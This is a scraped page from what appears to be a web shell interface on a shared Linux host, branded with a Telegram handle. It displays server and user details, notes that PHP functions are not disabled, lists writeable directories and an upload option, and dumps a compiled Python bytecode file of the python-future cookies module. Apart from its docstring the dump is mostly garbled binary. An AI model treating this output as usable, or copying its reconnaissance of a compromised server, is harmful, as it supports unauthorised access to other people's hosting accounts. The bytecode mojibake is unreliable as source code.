https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/future/backports/http/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/future/backports/http/__pycache__/cookies.cpython-310.pyc
o

,�]MT�@s�dZddlmZddlmZddlmZddlmZddlmZmZm	Z	m
Z
ddlmZm
Z
ddlZer7de_ddlZgd	�Zd
jZdjZdjZGd
d�de�ZejejdZidd�dd�dd�dd�dd�dd�dd�dd�d d!�d"d#�d$d%�d&d'�d(d)�d*d+�d,d-�d.d/�d0d1�id2d3�d4d5�d6d7�d8d9�d:d;�d<d=�d>d?�d@dA�dBdC�dDdE�dFdG�dHdI�dJdK�dLdM�dNdO�dPdQ�dRdS��idTdU�dVdW�dXdY�dZd[�d\d]�d^d_�d`da�dbdc�ddde�dfdg�dhdi�djdk�dldm�dndo�dpdq�drds�dtdu��idvdw�dxdy�dzd{�d|d}�d~d�d�d��d�d��d�d��d�d��d�d��d�d��d�d��d�d��d�d��d�d��d�d��d�d���id�d��d�d��d�d��d�d��d�d��d�d��d�d��d�d��d�d��d�d��d�d��d�d��d�d��d�d��d�d��d�d��d�d���id�d��d�d��d�d��d�d��d�dÓd�dœd�dǓd�dɓd�d˓d�d͓d�dϓd�dѓd�dӓd�dՓd�dדd�dٓd�dۓ�id�dݓd�dߓd�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d��d�d��d�d��d�d��d�d���id�d���d�d��d�d��d�d��d�d��d�d	��d
�d��d�d
��d�d��d�d��d�d��d�d��d�d��d�d��d�d��d�d��d�d��i�d �d!��d"�d#��d$�d%��d&�d'��d(�d)��d*�d+��d,�d-��d.�d/��d0�d1��d2�d3��d4�d5��d6�d7��d8�d9��d:�d;��d<�d=��d>�d?��d@�dA���dB�dC�dD�dE�dF�dG�dH�dI�dJ�dK�dL�dM�dN��Zef�dO�dP�Ze��dQ�Ze��dR�Z�dS�dT�Z g�dU�Z!g�dV�Z"de!e"f�dW�dX�Z#G�dY�dZ��dZe�Z$�d[Z%e��d\e%�d]e%�d^ej�Z&G�d_�d`��d`e�Z'G�da�db��dbe'�Z(dS(caf

http.cookies module ported to python-future from Py3.3

Here's a sample session to show how to use this module.
At the moment, this is the only documentation.

The Basics
----------

Importing is easy...

   >>> from http import cookies

Most of the time you start by creating a cookie.

   >>> C = cookies.SimpleCookie()

Once you've created your Cookie, you can add values just as if it were
a dictionary.

   >>> C = cookies.SimpleCookie()
   >>> C["fig"] = "newton"
   >>> C["sugar"] = "wafer"
   >>> C.output()
   'Set-Cookie: fig=newton\r\nSet-Cookie: sugar=wafer'

Notice that the printable representation of a Cookie is the
appropriate format for a Set-Cookie: header.  This is the
default behavior.  You can change the header and printed
attributes by using the .output() function

   >>> C = cookies.SimpleCookie()
   >>> C["rocky"] = "road"
   >>> C["rocky"]["path"] = "/cookie"
   >>> print(C.output(header="Cookie:"))
   Cookie: rocky=road; Path=/cookie
   >>> print(C.output(attrs=[], header="Cookie:"))
   Cookie: rocky=road

The load() method of a Cookie extracts cookies from a string.  In a
CGI script, you would use this method to extract the cookies from the
HTTP_COOKIE environment variable.

   >>> C = cookies.SimpleCookie()
   >>> C.load("chips=ahoy; vienna=finger")
   >>> C.output()
   'Set-Cookie: chips=ahoy\r\nSet-Cookie: vienna=finger'

The load() method is darn-tootin smart about identifying cookies
within a string.  Escaped quotation marks, nested semicolons, and other
such trickeries do not confuse it.

   >>> C = cookies.SimpleCookie()
   >>> C.load('keebler="E=everybody; L=\\"Loves\\"; fudge=\\012;";')
   >>> print(C)
   Set-Cookie: keebler="E=everybody; L=\"Loves\"; fudge=\012;"

Each element of the Cookie also supports all of the RFC 2109
Cookie attributes.  Here's an example which sets the Path
attribute.

   >>> C = cookies.SimpleCookie()
   >>> C["oreo"] = "doublestuff"
   >>> C["oreo"]["path"] = "/"
   >>> print(C)
   Set-Cookie: oreo=doublestuff; Path=/

Each dictionary element has a 'value' attribute, which gives you
back the value associated with the key.

   >>> C = cookies.SimpleCookie()
   >>> C["twix"] = "none for you"
   >>> C["twix"].value
   'none for you'

The SimpleCookie expects that all values should be standard strings.
Just to be sure, SimpleCookie invokes the str() builtin to convert
the value to a string, when the values are set dictionary-style.

   >>> C = cookies.SimpleCookie()
   >>> C["number"] = 7
   >>> C["string"] = "seven"
   >>> C["number"].value
   '7'
   >>> C["string"].value
   'seven'
   >>> C.output()
   'Set-Cookie: number=7\r\nSet-Cookie: string=seven'

Finis.
�)�unicode_literals)�print_function)�division)�absolute_import)�chr�dict�int�str)�PY2�
as_native_strN)�CookieError�
BaseCookie�SimpleCookie�z; � c@seZdZdS)rN)�__name__�
__module__�__qualname__�rr�?/usr/lib/python3/dist-packages/future/backports/http/cookies.pyr�srz!#$%&'*+-.^_`|~:�z\000�z\001�z\002�z\003�z\004�z\005�z\006�z\007�z\010�	z\011�
z\012�z\013�z\014�
z\015�z\016�z\017�z\020�z\021�z\022�z\023�z\024�z\025�z\026�z\027�z\030�z\031�z\032�z\033�z\034�z\035�z\036�z\037�,z\054�;z\073�"�\"�\z\\�z\177�€z\200�z\201�‚z\202�ƒz\203�„z\204�…z\205�†z\206�‡z\207�ˆz\210�‰z\211�Šz\212�‹z\213�Œz\214�z\215�Žz\216�z\217�z\220�‘z\221�’z\222�“z\223�”z\224�•z\225�–z\226�—z\227�˜z\230�™z\231�šz\232�›z\233�œz\234�z\235�žz\236�Ÿz\237� z\240�¡z\241�¢z\242�£z\243�¤z\244�¥z\245�¦z\246�§z\247�¨z\250�©z\251�ªz\252�«z\253�¬z\254�­z\255�®z\256�¯z\257�°z\260�±z\261�²z\262�³z\263�´z\264�µz\265�¶z\266�·z\267�¸z\270�¹z\271�ºz\272�»z\273�¼z\274�½z\275�¾z\276�¿z\277�Àz\300�Áz\301�Âz\302�Ãz\303�Äz\304�Åz\305�Æz\306�Çz\307�Èz\310�Éz\311�Êz\312�Ëz\313�Ìz\314�Íz\315�Îz\316�Ïz\317�Ðz\320�Ñz\321�Òz\322�Óz\323�Ôz\324�Õz\325�Öz\326�×z\327�Øz\330�Ùz\331�Úz\332�Ûz\333�Üz\334�Ýz\335�Þz\336�ßz\337�àz\340�áz\341�âz\342�ãz\343�äz\344�åz\345�æz\346�çz\347�èz\350�éz\351�êz\352�ëz\353�ìz\354�íz\355�îz\356�ïz\357�ðz\360�ñz\361�òz\362�óz\363z\364z\365z\366z\367z\370z\371z\372z\373z\374z\375z\376z\377)�ô�õ�ö�÷�ø�ù�ú�û�ü�ý�þ�ÿcs4t�fdd�|D��r
|Sdtdd�|D��dS)z�Quote a string for use in a cookie header.

    If the string does not need to be double-quoted, then just return the
    string.  Otherwise, surround the string in doublequotes and quote
    (with a \) special characters.
    c3s�|]}|�vVqdS�Nr��.0�c��
LegalCharsrr�	<genexpr>���z_quote.<locals>.<genexpr>r8css�|]	}t�||�VqdSr�)�_Translator�get)r��srrrr��s�)�all�	_nulljoin)r	r�rr�r�_quote�sr�z\\[0-3][0-7][0-7]z[\\].cCsft|�dkr|S|ddks|ddkr|S|dd�}d}t|�}g}d|kr.|kr�nt|�St�||�}t�||�}|sQ|sQ|�||d��	t|�Sd}}|r\|�d�}|rc|�d�}|r�|rk||kr�|�|||��|�||d�|d}n|�|||��|�tt||d|d�d���|d}d|kr�|ks3t|�St|�S)N�rr8������)	�len�
_OctalPatt�search�
_QuotePatt�append�startrrr�)�mystr�i�n�res�o_match�q_match�j�krrr�_unquote�s@��


$��r�)�Mon�Tue�Wed�Thu�Fri�Sat�Sun)
N�Jan�Feb�Mar�Apr�May�Jun�Jul�Aug�Sep�Oct�Nov�Decc	CsRddlm}m}|�}|||�\	}}}}	}
}}}
}d|||||||	|
|fS)Nr)�gmtime�timez#%s, %02d %3s %4d %02d:%02d:%02d GMT)r�r�)�future�weekdayname�	monthnamer�r��now�year�month�day�hh�mm�ss�wd�y�zrrr�_getdate3s�rc	@s�eZdZdZdddddddd	d
�Zeddg�Zdd�Zd
d�Zdd�Z	e
fdd�Zddd�ZeZe
�dd��Zddd�Zddd�ZdS)�Morsela�A class to hold ONE (key, value) pair.

    In a cookie, each such pair may have several attributes, so this class is
    used to keep the attributes associated with the appropriate key,value pair.
    This class also includes a coded_value attribute, which is used to hold
    the network representation of the value.  This is most useful when Python
    objects are pickled for network transit.
    �expires�Path�Comment�DomainzMax-Age�secure�httponly�Version)r�path�comment�domain�max-agerr�versioncCs0d|_|_|_|jD]	}t�||d�qdS)Nr)�key�value�coded_value�	_reservedr�__setitem__)�selfrrrr�__init__^s
�zMorsel.__init__cCs0|��}||jvrtd|��t�|||�dS)NzInvalid Attribute %s)�lowerrrrr)r�K�Vrrrrfs
zMorsel.__setitem__cCs|��|jvSr�)rr)rrrrr�
isReservedKeylszMorsel.isReservedKeycsR|��|jvr
td|��t�fdd�|D��rtd|��||_||_||_dS)Nz!Attempt to set a reserved key: %sc3s�|]}|�vVqdSr�rr�r�rrr�tr�zMorsel.set.<locals>.<genexpr>zIllegal key value: %s)rrr�anyrrr)rr�val�	coded_valr�rr�r�setos
z
Morsel.setN�Set-Cookie:cCsd||�|�fS)Nz%s %s)�OutputString)r�attrs�headerrrr�output|sz
Morsel.outputcCs>trt|jt�rt|j�}n|j}d|jjt|j�t|�fS)Nz<%s: %s=%s>)	r
�
isinstancer�unicoder	�	__class__rr�repr�rrrrr�__repr__�s�zMorsel.__repr__cCsd|�|��dd�S)Nz�
        <script type="text/javascript">
        <!-- begin hiding
        document.cookie = "%s";
        // end hiding -->
        </script>
        r8r9)r�replace)rrrrr�	js_output�s�zMorsel.js_outputcCsg}|j}|d|j|jf�|dur|j}t|���}|D]a\}}|dkr'q||vr,q|dkrCt|t�rC|d|j|t|�f�q|dkrXt|t�rX|d|j||f�q|dkrf|t	|j|��q|dkrt|t	|j|��q|d|j||f�qt
|�S)N�%s=%srrrz%s=%drr)r�rrr�sorted�itemsr"rrr	�_semispacejoin)rr�resultr�r,rrrrrr�s*zMorsel.OutputString)Nrr�)rrr�__doc__rr�_flagsrrr�_LegalCharsr!�__str__rr'r)rrrrrr;s,�




rz.[\w\d!#%&'~_`><@,:/\$\*\+\-\.\^\|\)\(\?\}\{\=]z~
    (?x)                           # This is a verbose pattern
    (?P<key>                       # Start of group 'key'
    a+?   # Any word of at least one letter
    )                              # End of group 'key'
    (                              # Optional group: there may not be a value.
    \s*=\s*                          # Equal Sign
    (?P<val>                         # Start of group 'val'
    "(?:[^\\"]|\\.)*"                  # Any doublequoted string
    |                                  # or
    \w{3},\s[\w\d\s-]{9,11}\s[\d:]{8}\sGMT  # Special case for "expires" attr
    |                                  # or
    a,*      # Any word or empty string
    )                                # End of group 'val'
    )?                             # End of optional value group
    \s*                            # Any number of spaces.
    (\s+|;|$)                      # Ending either at space, semicolon, or EOS.
    c@steZdZdZdd�Zdd�Zddd�Zd	d
�Zdd�Zddd�Z	e	Z
e�dd��Zddd�Z
dd�Zefdd�ZdS)r
z'A container class for a set of Morsels.cCs||fS)a
real_value, coded_value = value_decode(STRING)
        Called prior to setting a cookie's value from the network
        representation.  The VALUE is the value read from HTTP
        header.
        Override this function to modify the behavior of cookies.
        rr&rrr�value_decode�szBaseCookie.value_decodecCst|�}||fS)z�real_value, coded_value = value_encode(VALUE)
        Called prior to setting a cookie's value from the dictionary
        representation.  The VALUE is the value being assigned.
        Override this function to modify the behavior of cookies.
        )r	�rr�strvalrrr�value_encode�szBaseCookie.value_encodeNcCs|r	|�|�dSdSr�)�load)r�inputrrrr�s�zBaseCookie.__init__cCs.|�|t��}|�|||�t�|||�dS)z+Private method for setting a cookie's valueN)r�rrrr)rr�
real_valuer�Mrrr�__set�szBaseCookie.__setcCs |�|�\}}|�|||�dS)zDictionary style assignment.N)r6�_BaseCookie__set)rrr�rval�cvalrrrr�szBaseCookie.__setitem__r�
cCs:g}t|���}|D]
\}}|�|�||��q
|�|�S)z"Return a string suitable for HTTP.)r+r,r�r!�join)rrr �sepr.r,rrrrrr!�s

zBaseCookie.outputcCsng}t|���}|D]"\}}trt|jt�rt|j�}n|j}|�dt|�t|�f�q
d|j	j
t|�fS)Nr*z<%s: %s>)r+r,r
r"rr#r	r�r%r$r�
_spacejoin)r�lr,rrrrrrr'szBaseCookie.__repr__cCs6g}t|���}|D]\}}|�|�|��q
t|�S)z(Return a string suitable for JavaScript.)r+r,r�r)r�)rrr.r,rrrrrr)s
zBaseCookie.js_outputcCs6t|t�r|�|�dS|��D]\}}|||<qdS)z�Load cookies from a string (presumably HTTP_COOKIE) or
        from a dictionary.  Loading cookies from a dictionary 'd'
        is equivalent to calling:
            map(Cookie.__setitem__, d.keys(), d.values())
        N)r"r	�_BaseCookie__parse_stringr,)r�rawdatarrrrrr7s

�
zBaseCookie.loadcCsd}t|�}d}d|kr|kr�ndS|�||�}|sdS|�d�|�d�}}|�d�}|ddkr@|r?|||dd�<n6|��tjvr`|r_|durY|��tjvrXd||<nt|�||<n|durv|�	|�\}	}
|�
||	|
�||}d|kr�|ksdSdSdS)Nrrr�$r�T)r�r��group�endrrrr0r�r3r<)rr��pattr�r�r:�matchrrr=r>rrr�__parse_string&s4
��� �zBaseCookie.__parse_stringr�)Nrr?)rrrr/r3r6rr<rr!r2rr'r)r7�_CookiePatternrDrrrrr
�s	
	


r
c@s eZdZdZdd�Zdd�ZdS)rz�
    SimpleCookie supports strings as cookie values.  When setting
    the value using the dictionary assignment notation, SimpleCookie
    calls the builtin str() to convert the value to a string.  Values
    received from HTTP are kept as strings.
    cCst|�|fSr�)r�r&rrrr3QszSimpleCookie.value_decodecCst|�}|t|�fSr�)r	r�r4rrrr6TszSimpleCookie.value_encodeN)rrrr/r3r6rrrrrJsr))r/�
__future__rrrr�future.builtinsrrrr	�future.utilsr
r�re�ASCII�string�__all__r@r�r-rB�	Exceptionr�
ascii_letters�digitsr1r�r��compiler�r�r��_weekdayname�
_monthnamerr�_LegalCharsPattrLr
rrrrr�<module>s�&[������������������������	�	�	�
�
�
������������������������������������������� � � �!�!�!�"�"�"�#�#�#�$�$�$�%�%�%�&�&�&�'�'�'�(�(�(�)�)�)�*�*�*�+�+�+�,�,�,�-�-�-�.�.�.�/�/�/�0�0�0�1�1�1�2�2�2�3�3�3�4�4�4�5�5�5�6�6�6�7�7�7�8�8�8�9�9�9�:�:�:�;
�A

2
�����t

https://t.me/RX1948 - 2025